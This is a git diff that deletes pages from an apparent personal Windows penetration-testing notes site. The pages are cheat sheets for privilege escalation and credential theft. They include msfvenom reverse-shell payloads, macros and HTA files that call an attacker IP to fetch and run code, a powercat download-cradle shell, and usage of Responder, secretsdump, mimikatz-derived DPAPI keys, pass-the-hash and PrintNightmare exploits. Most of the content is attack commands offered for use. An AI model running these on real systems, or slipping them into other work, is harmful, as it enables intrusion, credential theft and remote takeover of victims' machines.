- - - - - - - \ No newline at end of file diff --git a/build/exploit/windows/docs/always_installed_elevated.html b/build/exploit/windows/docs/always_installed_elevated.html deleted file mode 100644 index 9d4c214..0000000 --- a/build/exploit/windows/docs/always_installed_elevated.html +++ /dev/null @@ -1,205 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

AlwaysInstalledElevated

-
    -
  • Watch out for AlwaysInstalledElevated keys inside the registry via
    • -
-
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
-reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
-
- -
    -
  • Prepare reverse shell on attacker as an msi file
    • -
-
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<attacker-IP> LPORT=<attacker-Port> -f msi -o shell.msi
-
- -
    -
  • start the msi on target
    • -
-
msiexec /quiet /qn /i C:\Temp\shell.msi
-
- -

Set Registry Keys

-
    -
  • Alternative method
    • -
-
reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
-reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/windows/docs/crackmapexec.html b/build/exploit/windows/docs/crackmapexec.html deleted file mode 100644 index eba37e1..0000000 --- a/build/exploit/windows/docs/crackmapexec.html +++ /dev/null @@ -1,185 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

crackmapexec

-
    -
  • In general, the syntax is as follows
    • -
-
crackmapexec smb $DOMAIN -u <user> -p <password>
-
- -
    -
  • Do not set the domain at the end, it won't work.
    • -
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/windows/docs/dpapi.html b/build/exploit/windows/docs/dpapi.html deleted file mode 100644 index aceef16..0000000 --- a/build/exploit/windows/docs/dpapi.html +++ /dev/null @@ -1,211 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

DPAPI

- -

Tools

-
    -
  • tjldeneut's dpaping-lab
    • -
  • BlackDiverX's unpacked cqtools
    • -
  • Use CQTools with care, CQMasterKeyAD.exe does not work correctly. It will drive you mad. Here is the workaround -Pressuposition is, you want to decrypt a blob with a masterkey, e.g. Keepass which is saved with windows logon DPAPI
      -
    • Get the pvk backup key from the DC via mimikatz
      • -
    • Get the entropy via CQTools/CQDPAPIKeePassDecryptor/CQDPAPIKeePassDBDecryptor.exe
      • -
    • Get the encrypted blob
      • -
    • Get the user's Masterkey under C:\users\<user>\AppData\Roaming\Microsoft\Protect\<SID>\
      • -
    • Use dpapilab-ng's keepassdec.py
      • -
    -
    • -
-
./keepassdec.py  --masterkey=path/to/masterkey/ -k /path/to/backup/key/ntds_capi_0_07ea03b4-3b28-4270-8862-0bc66dacef1a.keyx.rsa.pvk  --entropy_hex=<found entropy> --sid=S-1-5-21-555431066-3599073733-176599750-1125 path/to/blob.bin 
-
- -
* Use the decrypted blob to
-
- -
CQDPAPIKeePassDBDecryptor.exe /k <key> /f <file>.kdbx
-
- -
    -
  • Open the *.kdbx file
    • -
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/windows/docs/impacket.html b/build/exploit/windows/docs/impacket.html deleted file mode 100644 index 1616c95..0000000 --- a/build/exploit/windows/docs/impacket.html +++ /dev/null @@ -1,193 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Impacket

- -

Secretsdump

-
    -
  • ntds.dit and system.hive are needed
    • -
-
secretsdump.py -system system.hive -ntds ntds.dit -hashes lmhash:nthash LOCAL -outputfile hashes.txt
-````
-* Remove everything but the hashes
-* Use it to log in on the target
-```sh
-crackmapexec smb $TARGET_IP -u <user> -H hashes.txt
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/windows/docs/llmnr.html b/build/exploit/windows/docs/llmnr.html deleted file mode 100644 index 67bf32b..0000000 --- a/build/exploit/windows/docs/llmnr.html +++ /dev/null @@ -1,200 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Link Local Multicast Name Resolution (LLMNR), NetBIOS Name Service (NBT-NS)

-
    -
  • LLMNR, name resolutions inside the local domain for other hosts
    • -
  • -

    NBT-NS, identifying hosts in the network by NetBIOS names

    -
    • -
  • -

    Impersonating the actual service to get credentials

    -
    • -
-

Usage

- -
sudo responder -I <NIC> -rdw -v 
-
- -
    -
  • Dictionary attack on catched password
    • -
-
hashcat -m 5600 hash /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt -r rules/OneRuleToRuleThemAll.rule --debug-mode=1 --debug-file=matched.rule
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/windows/docs/lnk_exploit.html b/build/exploit/windows/docs/lnk_exploit.html deleted file mode 100644 index 6e9f440..0000000 --- a/build/exploit/windows/docs/lnk_exploit.html +++ /dev/null @@ -1,193 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

.lnk exploit

- -
mslink_v1.3.sh -l notimportant -n shortcut -i \\\\$ATTACKER_IP\\yo -o shortcut.lnk
-
- -
    -
  • Start a responder and wait for user's hash
    • -
-
responder -I eth0
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/windows/docs/pass_the_hash.html b/build/exploit/windows/docs/pass_the_hash.html deleted file mode 100644 index 8bee45a..0000000 --- a/build/exploit/windows/docs/pass_the_hash.html +++ /dev/null @@ -1,182 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Pass the Hash

-
    -
  • Authenticate with retrieved hash
    • -
  • User evil-winrm or
    • -
-
pth-winexe -U 'admin%hash' //<target-IP> cmd.exe
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/windows/docs/password_in_registry.html b/build/exploit/windows/docs/password_in_registry.html deleted file mode 100644 index d3fd1fd..0000000 --- a/build/exploit/windows/docs/password_in_registry.html +++ /dev/null @@ -1,206 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Password Inside Registry Key

-
    -
  • Query passwords saved inside the registry
    • -
-
reg query HKLM /f password /t REG_SZ /s
-
- -
    -
  • Admin Autologon credentials
    • -
-
reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"
-
- -
    -
  • On attacker, change the credentials on target
    • -
-
winexe -U 'admin%password' //<target-IP> cmd.exe
-
- -

List other Creds

-
cmdkey /list
-
- -
    -
  • Open reverse shell
    • -
-
runas /savecred /user:admin C:\shell.exe
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/windows/docs/potatoes.html b/build/exploit/windows/docs/potatoes.html deleted file mode 100644 index 5102d12..0000000 --- a/build/exploit/windows/docs/potatoes.html +++ /dev/null @@ -1,183 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Potatoes

- - -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/windows/docs/printnightmare.html b/build/exploit/windows/docs/printnightmare.html deleted file mode 100644 index 3ec7bcd..0000000 --- a/build/exploit/windows/docs/printnightmare.html +++ /dev/null @@ -1,210 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Print Nightmare

-
    -
  • -

    Clone cube0x0's exploits

    -
    • -
  • -

    Create virtual env inside cloned repo and install impacket

    -
    • -
-
pip install .
-pip2 install .
-
- -
    -
  • Create payload
    • -
-
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=$ATTACKER_IP LPORT=4711 -f dll -o giftcard.dll
-
- -
    -
  • -

    Prepare msf multi handler

    -
    • -
  • -

    Inside virtualenv

    -
    • -
-
smbserver share $(pwd) -smb2support
-
- -
    -
  • Roll the exploit
    • -
-
python CVE-2021-1675.py GROUP/username:'password'@$TARGET_IP '\\$ATTACKER_IP\share\giftcard.dll'
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/windows/docs/responder.html b/build/exploit/windows/docs/responder.html deleted file mode 100644 index c4c27bc..0000000 --- a/build/exploit/windows/docs/responder.html +++ /dev/null @@ -1,186 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Responder

- -

Responder is a LLMNR, NBT-NS and MDNS poisoner, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication

-

Usage

-
responder -I tun0 -wrvd
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/windows/docs/unquoted_path.html b/build/exploit/windows/docs/unquoted_path.html deleted file mode 100644 index 218ccbb..0000000 --- a/build/exploit/windows/docs/unquoted_path.html +++ /dev/null @@ -1,244 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Unquoted Path

-
    -
  • Path to a service without quotes can be hijacked by inserting other executables and services into the path.
    • -
  • Some part of path has to be writeable, windows tries to insert .exe instead of a space.
    • -
  • Check services via wmic service get name,displayname,pathname,startmode and sc qc <servicename>
    • -
  • Check permissions on paths via .\accesschk64.exe /accepteula -uwdq "C:\Service Path\"
    • -
-

Enumeration

-
    -
  • Check paths
    • -
-
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """
-
- -
    -
  • Check permissions on these paths
    • -
-
cacls "c:\program files\directory"
-powershell -c "Get-WMIObject -Class Win32_Service -Filter \"Name='<service name>'\" | select-object *"
-
- -

Example

-
    -
  • The unquoted path is C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe
    • -
-
copy C:\shell.exe "C:\Program Files\Unquoted Path Service\Common.exe"
-
- -
net start <service>
-
- -

Intel about Service

-
    -
  • Access should contain writeable
    • -
-
Get-Acl -Path <path> | Format-List
-
- -
    -
  • -

    Save the script Get-ServiceAcl.ps1 and Import-Module Get-ServiceAcl.ps1

    -
    • -
  • -

    Check ServiceRights via

    -
    • -
-
"<servicename>" | Get-ServiceAcl | select ExpandProperty Access
-
- -

Interacting with the Service

-
    -
  • Upload msfvenom shell to the writeable path, setup listener and
    • -
-
sc start "servicename"
-Stop-Service -name "servicename"
-Start-Service -name "servicename"
-
- -

PoC

- - -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/windows/macros/macros.html b/build/exploit/windows/macros/macros.html deleted file mode 100644 index b44c63d..0000000 --- a/build/exploit/windows/macros/macros.html +++ /dev/null @@ -1,219 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Macros

-
    -
  • -

    Executes after user clicks enable content

    -
    • -
  • -

    Open Excel

    -
    • -
  • View --> Macros --> Create New Macros
    • -
-
Sub HelloWorld()
-    PID = Shell("powershell.exe -c Invoke-WebRequest -Uri https://%ATTACKER_IP%/passwd -OutFile C:\passwd", vbNormalFocus)
-End Sub
-
-Sub Auto_Open()
-    HelloWorld
-End Sub
-
- -

Meterpreter

-
    -
  • Directly execute shell without user interaction
    • -
  • Configure and run use windows/misc/hta_server
    • -
  • Macro executes mshta.exe
    • -
-
Sub HelloWorld()
-    PID = Shell("mshta.exe https://%ATTACKER_IP%:8080/c9496fz.hta")
-End Sub
-
-Sub Auto_Open()
-    HelloWorld
-End Sub
-
- -

Msfvenom

-
    -
  • Create reverse shell via
    • -
-
msfvenom -p windows/meterpreter/reverse_tcp LHOST=$ATTACKER_IP LPORT=443 -f vba -o surprise.vba
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/windows/payloads/windows_scripting_host.html b/build/exploit/windows/payloads/windows_scripting_host.html deleted file mode 100644 index 3b911f9..0000000 --- a/build/exploit/windows/payloads/windows_scripting_host.html +++ /dev/null @@ -1,294 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Windows Scripting Host (WSH)

-

Visual Basic Script (VB Script)

-
    -
  • cscript file.exe, command line scripts
    • -
  • -

    wscript file.exe, UI scripts

    -
    • -
  • -

    Example (watch out for the whitespace after path, it has to be included)

    -
    • -
-
Set shell = WScript.CreateObject("Wscript.Shell")
-shell.Run("C:\Windows\System32\cmd.exe " & WScript.ScriptFullName),0,True
-
- -
c:\Windows\System32>wscript /e:VBScript c:\Users\user\Documents\shell.txt
-
- -

Visual Basic for Application (VBA)

-
    -
  • Access Windows API via Macros
    • -
  • Open Word, view --> macros, give a name and select document in Macros in
    • -
  • Create reverse shell
    • -
-
msfvenom -p windows/meterpreter/reverse_tcp LHOST=$ATTACKER_IP LPORT=4448 -f vba
-
- -
    -
  • Insert into the following Macro Content, Workbook_Open() for excel, Document_Open() for Word macros
    • -
-
Sub Document_Open()
-  SHELL
-End Sub
-
-Sub AutoOpen()
-  SHELL
-End Sub
-
-Sub SHELL()
-    <reverse shell goes here>   
-End Sub
-
- -

HTML Application (HTA)

-
    -
  • HTML file including some kind of scripting language like JS, VB, ActiveX
    • -
  • mshta is used to excecute
    • -
-

POC

-
    -
  • Download file via attacker's web server
    • -
  • File should look like
    • -
-
<html>
-  <body>
-    <script>
-        var shell= 'cmd.exe'
-        new ActiveXObject('WScript.Shell').Run(shell);
-    </script>
- </body>
-</html>
-
- -
    -
  • Save Document in a macros supporting file format like Word 97-2003 Template and Word 97-2003 Document
    • -
-

Reverse Shell

-
    -
  • Craft reverse shell via msfvenom
    • -
-
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=4448 -f hta-psh -o shell.hta        
-
- -
    -
  • msfconsole via
    • -
-
use exploit/windows/misc/hta_server
-
- -

Powershell

-
    -
  • Powershell execution policy can be checked via
    • -
-
Get-ExecutionPolicy
-
- -
    -
  • Set policy via
    • -
-
Set-ExecutionPolicy -Scope CurrentUser RemoteSigned
-
- -
    -
  • Bypass via
    • -
-
powershell -ex bypass -File shell.ps1
-
- -
    -
  • Load powercat on attacker machine and load it on the target via
    • -
-
C:\Users\thm\Desktop> powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://<attacker-IP>:8000/powercat.ps1');powercat -c <attacker-IP> -p 4448 -e cmd"
-
- -
    -
  • Or use msfvenom
    • -
-
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<attacker-IP> LPORT=4447 -f psh -o payload.ps1
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/windows/print_nightmare/CVE-2021-1675/README.html b/build/exploit/windows/print_nightmare/CVE-2021-1675/README.html deleted file mode 100644 index 876bdef..0000000 --- a/build/exploit/windows/print_nightmare/CVE-2021-1675/README.html +++ /dev/null @@ -1,209 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

CVE-2021-1675 - PrintNightmare LPE (PowerShell)

-
-

Caleb Stewart | John Hammond | July 1, 2021

-
-
-

CVE-2021-1675 is a critical remote code execution and local privilege escalation vulnerability dubbed "PrintNightmare."

-

Proof-of-concept exploits have been released (Python, C++) for the remote code execution capability, and a C# rendition for local privilege escalation. We had not seen a native implementation in pure PowerShell, and we wanted to try our hand at refining and recrafting the exploit.

-

This PowerShell script performs local privilege escalation (LPE) with the PrintNightmare attack technique.

-

image

-

This has been tested on Windows Server 2016 and Windows Server 2019.

-

Usage

-

Add a new user to the local administrators group by default:

-
Import-Module .\cve-2021-1675.ps1
-Invoke-Nightmare # add user `adm1n`/`P@ssw0rd` in the local admin group by default
-
-Invoke-Nightmare -DriverName "Xerox" -NewUser "john" -NewPassword "SuperSecure" 
-
- -

Supply a custom DLL payload, to do anything else you might like.

-
Import-Module .\cve-2021-1675.ps1
-Invoke-Nightmare -DLL "C:\absolute\path\to\your\bindshell.dll"
-
- -

Details

-
    -
  • The LPE technique does not need to work with remote RPC or SMB, as it is only working with the functions of Print Spooler.
    • -
  • This script embeds a Base64-encoded GZIPped payload for a custom DLL, that is patched according to your arguments, to easily add a new user to the local administrators group.
    • -
  • This script embeds methods from PowerSploit/PowerUp to reflectively access the Win32 APIs.
    • -
  • This method does not loop through all printer drivers to find the appropriate DLL path -- it simply grabs the first driver and determines the appropriate path.
    • -
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/windows/print_nightmare/PrintNightmare/README.html b/build/exploit/windows/print_nightmare/PrintNightmare/README.html deleted file mode 100644 index c24979a..0000000 --- a/build/exploit/windows/print_nightmare/PrintNightmare/README.html +++ /dev/null @@ -1,433 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

PrintNightmare

-

Python implementation for PrintNightmare (CVE-2021-1675 / CVE-2021-34527) using standard Impacket.

-

Installtion

-
$ pip3 install impacket
-
- -

Usage

-
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
-
-usage: printnightmare.py [-h] [-debug] [-port [destination port]] [-target-ip ip address] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-dc-ip ip address]
-                         [-name driver name] [-env driver name] [-path driver path] [-dll driver dll] [-check] [-list] [-delete]
-                         target
-
-PrintNightmare (CVE-2021-1675 / CVE-2021-34527)
-
-positional arguments:
-  target                [[domain/]username[:password]@]<targetName or address>
-
-optional arguments:
-  -h, --help            show this help message and exit
-  -debug                Turn DEBUG output ON
-  -no-pass              don't ask for password (useful for -k)
-  -k                    Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials
-                        cannot be found, it will use the ones specified in the command line
-  -dc-ip ip address     IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
-
-connection:
-  -port [destination port]
-                        Destination port to connect to MS-RPRN named pipe
-  -target-ip ip address
-                        IP Address of the target machine. If ommited it will use whatever was specified as target. This is useful when target is the
-                        NetBIOS name and you cannot resolve it
-
-authentication:
-  -hashes LMHASH:NTHASH
-                        NTLM hashes, format is LMHASH:NTHASH
-
-driver:
-  -name driver name     Name for driver
-  -env driver name      Environment for driver
-  -path driver path     Driver path for driver
-  -dll driver dll       Path to DLL
-
-modes:
-  -check                Check if target is vulnerable
-  -list                 List existing printer drivers
-  -delete               Deletes printer driver
-
- -

Examples

-

Exploitation

-
Remote DLL
-
$ ./printnightmare.py -dll '\\172.16.19.1\smb\add_user.dll' 'user:Passw0rd@172.16.19.128'
-Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
-
-[*] Enumerating printer drivers
-[*] Driver name: 'Microsoft XPS Document Writer v5'
-[*] Driver path: 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_18b0d38ddfaee729\\Amd64\\UNIDRV.DLL'
-[*] DLL path: '\\\\172.16.19.1\\smb\\add_user.dll'
-[*] Copying over DLL
-[*] Successfully copied over DLL
-[*] Trying to load DLL
-[*] Successfully loaded DLL
-
- -
Local DLL
-
$ ./printnightmare.py -dll 'C:\Windows\System32\spool\drivers\x64\3\old\1\add_user.dll' 'user:Passw0rd@172.16.19.128'
-Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
-
-[*] Enumerating printer drivers
-[*] Driver name: 'Microsoft XPS Document Writer v5'
-[*] Driver path: 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_18b0d38ddfaee729\\Amd64\\UNIDRV.DLL'
-[*] DLL path: 'C:\\Windows\\System32\\spool\\drivers\\x64\\3\\old\\1\\add_user.dll'
-[*] Loading DLL
-[*] Successfully loaded DLL
-
- -

Notice that the local DLL example doesn't abuse CVE-2021-34527 to copy over the DLL.

-
Custom name
-
$ ./printnightmare.py -dll '\\172.16.19.1\smb\add_user.dll' -name 'My Printer Driver' 'user:Passw0rd@172.16.19.128'
-Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
-
-[*] Enumerating printer drivers
-[*] Driver name: 'My Printer Driver'
-[*] Driver path: 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_18b0d38ddfaee729\\Amd64\\UNIDRV.DLL'
-[*] DLL path: '\\\\172.16.19.1\\smb\\add_user.dll'
-[*] Copying over DLL
-[*] Successfully copied over DLL
-[*] Trying to load DLL
-[*] Successfully loaded DLL
-
-$ ./printnightmare.py -list 'user:Passw0rd@172.16.19.128'
-Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
-
-[*] Enumerating printer drivers
-Name:               Microsoft XPS Document Writer v4
-Environment:        Windows x64
-Driver path:        C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_18b0d38ddfaee729\Amd64\mxdwdrv.dll
-Data file:          C:\Windows\System32\DriverStore\FileRepository\prnms001.inf_amd64_f340cb58fcd23202\MXDW.gpd
-Config file:        C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_9bf7e0c26ba91f8b\Amd64\PrintConfig.dll
-Version:            4
-----------------------------------------------------------------
-Name:               Microsoft Print To PDF
-Environment:        Windows x64
-Driver path:        C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_18b0d38ddfaee729\Amd64\mxdwdrv.dll
-Data file:          C:\Windows\System32\DriverStore\FileRepository\prnms009.inf_amd64_80184dcbef6775bc\MPDW-PDC.xml
-Config file:        C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_9bf7e0c26ba91f8b\Amd64\PrintConfig.dll
-Version:            4
-----------------------------------------------------------------
-Name:               My Printer Driver
-Environment:        Windows x64
-Driver path:        C:\Windows\system32\spool\DRIVERS\x64\3\UNIDRV.DLL
-Data file:          C:\Windows\system32\spool\DRIVERS\x64\3\add_user.dll
-Config file:        C:\Windows\system32\spool\DRIVERS\x64\3\add_user.dll
-Version:            3
-----------------------------------------------------------------
-Name:               Microsoft Shared Fax Driver
-Environment:        Windows x64
-Driver path:        C:\Windows\system32\spool\DRIVERS\x64\3\FXSDRV.DLL
-Data file:          C:\Windows\system32\spool\DRIVERS\x64\3\FXSUI.DLL
-Config file:        C:\Windows\system32\spool\DRIVERS\x64\3\FXSUI.DLL
-Version:            3
-----------------------------------------------------------------
-Name:               Microsoft enhanced Point and Print compatibility driver
-Environment:        Windows x64
-Driver path:        C:\Windows\system32\spool\DRIVERS\x64\3\mxdwdrv.dll
-Data file:          C:\Windows\system32\spool\DRIVERS\x64\3\unishare.gpd
-Config file:        C:\Windows\system32\spool\DRIVERS\x64\3\PrintConfig.dll
-Version:            3
-----------------------------------------------------------------
-
- -

Check if target is vulnerable

-
Unpatched Windows 10
-
$ ./printnightmare.py -check 'user:Passw0rd@172.16.19.128'
-Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
-
-[*] Target appears to be vulnerable!
-
- -
Patched Windows Server 2022
-
$ ./printnightmare.py -check 'user:Passw0rd@172.16.19.135'
-Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
-
-[!] Target does not appear to be vulnerable
-
- -

List current printer drivers

-
$ ./printnightmare.py -list 'user:Passw0rd@172.16.19.135'
-Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
-
-[*] Enumerating printer drivers
-Name:               Microsoft XPS Document Writer v4
-Environment:        Windows x64
-Driver path:        C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_075615bee6f80a8d\Amd64\mxdwdrv.dll
-Data file:          C:\Windows\System32\DriverStore\FileRepository\prnms001.inf_amd64_8bc7809b71930efc\MXDW.gpd
-Config file:        C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_c9865835eff4a608\Amd64\PrintConfig.dll
-Version:            4
-----------------------------------------------------------------
-Name:               Microsoft Print To PDF
-Environment:        Windows x64
-Driver path:        C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_075615bee6f80a8d\Amd64\mxdwdrv.dll
-Data file:          C:\Windows\System32\DriverStore\FileRepository\prnms009.inf_amd64_6dc3549941ff1a57\MPDW-PDC.xml
-Config file:        C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_c9865835eff4a608\Amd64\PrintConfig.dll
-Version:            4
-----------------------------------------------------------------
-Name:               Microsoft enhanced Point and Print compatibility driver
-Environment:        Windows x64
-Driver path:        C:\Windows\system32\spool\DRIVERS\x64\3\mxdwdrv.dll
-Data file:          C:\Windows\system32\spool\DRIVERS\x64\3\unishare.gpd
-Config file:        C:\Windows\system32\spool\DRIVERS\x64\3\PrintConfig.dll
-Version:            3
-----------------------------------------------------------------
-
- -

Delete printer driver

-

May require administrative privileges.

-
$ ./printnightmare.py -delete -name 'Microsoft XPS Document Writer v5' 'administrator:Passw0rd@172.16.19.128'
-Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
-
-[*] Deleted printer driver!
-
- -

Details

-

PrintNightmare consists of two CVE's, CVE-2021-1675 / CVE-2021-34527.

-

CVE-2021-1675

-

A non-administrative user is allowed to add a new printer driver. This vulnerability was fixed by only allowing administrators to add new printer drivers. A patched version of the print spooler will return RPC_E_ACCESS_DENIED (Code: 0x8001011b) if a non-administrator tries to add a new printer driver.

-

CVE-2021-34527

-

When adding a new printer driver, the pDataFile parameter in the DRIVER_CONTAINER allows UNC paths. The DLL specified in pDataFile will however not be loaded, but it will get copied over to a local path allowing us to create a new printer driver with the pConfigFile parameter pointing to the local path which will load the DLL. A patched version of the printer spooler will return ERROR_INVALID_PARAMETER (Code: 0x57)

-

Combining the pieces

-

Only CVE-2021-1675 is needed if the malicious DLL is already located on the target.

-

For PrintNightmare, if the DLL is not a local path, then CVE-2021-34527 can be used to fetch the DLL via UNC paths. For that reason, it is necessary to serve the DLL over SMB. If you're not familiar with SMB and UNC, read the following subsection.

-

When creating a new printer driver, the DLL in the pDataFile parameter will not be loaded for security reasons. However, it will be copied over to C:\Windows\system32\spool\drivers\x64\3\. Then, we could create a new printer driver that uses pConfigFile (which will load the DLL) with the local path. However, the DLL is in use by the first printer driver when creating the second printer driver. Instead, we could overwrite the first printer driver, which will make the printer driver's DLLs get copied over to C:\Windows\system32\spool\drivers\x64\3\old\<I>\, where <I> is incremented for each DLL. Now we can create a third printer driver that will use the local path C:\Windows\system32\spool\drivers\x64\3\old\<I>\, since the DLL is no longer used. Now it's just a matter of guessing <I> which will start incrementing from 1.

-

Note that the DLL will keep its filename locally, so if you initially run the exploit with foo.dll and it gets saved to C:\Windows\system32\spool\drivers\x64\3\old\1\foo.dll and you then change the contents of foo.dll locally and run the exploit again and it now gets saved to C:\Windows\system32\spool\drivers\x64\3\old\5\foo.dll, then the original foo.dll will be used since it is located in C:\Windows\system32\spool\drivers\x64\3\old\1\foo.dll. Instead, simply change the filename if you change the contents of the DLL.

-

SMB and UNC

-

In short, a UNC path is a path to a file or folder on a network rather than a local file, and it contains the server name and path. For instance, the UNC path \\10.0.0.2\files\foo.txt is a file foo.txt that is served from the files share of the server 10.0.0.2. Usually, a share is served over SMB, but WebDAV is also supported. To create an SMB share on Linux, the easiest and most reliable way is to use the Samba package.

-

To install Samba with apt:

-
$ sudo apt install samba
-
- -

Edit the /etc/samba/smb.conf and add the following at the end of the file:

-
[smb]
-    comment = Samba
-    path = /tmp/share
-    guest ok = yes
-    read only = yes
-    browsable = yes
-    force user = nobody
-
- -

This will create a new share called smb and serve the files inside /tmp/share. It allows for anonymous access, and the local user nobody will be used to browse the files.

-

Then start the Samba service by doing:

-
$ sudo service smbd start
-
- -

Suppose your Linux machine has the IP 192.168.1.100 and you wish to serve the evil.dll, then the UNC path in this scenario will be \\192.168.1.100\smb\evil.dll.

-

Authors

- -

Credits

- - -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/windows/print_nightmare/print_nightmare.html b/build/exploit/windows/print_nightmare/print_nightmare.html deleted file mode 100644 index 61097b3..0000000 --- a/build/exploit/windows/print_nightmare/print_nightmare.html +++ /dev/null @@ -1,247 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Print Nightmare

-
    -
  • Privilege Escalation using Print Spooler Service
    • -
  • Located at C:\Windows\System32\spoolsv.exe
    • -
  • Enabled by default
    • -
  • CVE-2021-1675 (locally exploitable) and CVE-2021-34527 (RCE) are both related to the print spooler
    • -
  • RCE connection is done via DCE/RPC. Use of RpcAddPrinterDriver or RpcAddPrinterDriverEx
    • -
-

Usage

-
    -
  • Prepare reverse shell
    • -
  • Check if target would be vulnerable
    • -
-
rpcdump.py @$TARGET_IP | grep -e 'MS-RPRN|MS-PAR'
-
- -
    -
  • Execute smb server
    • -
-
smbserver.py share . -smb2support
-
- -
    -
  • Execute PoC with credentials to elevate
    • -
-
python CVE-2021-1675.py <domain of domaincontroller>/<user>:<password>@$TARGET_IP
-
- -
    -
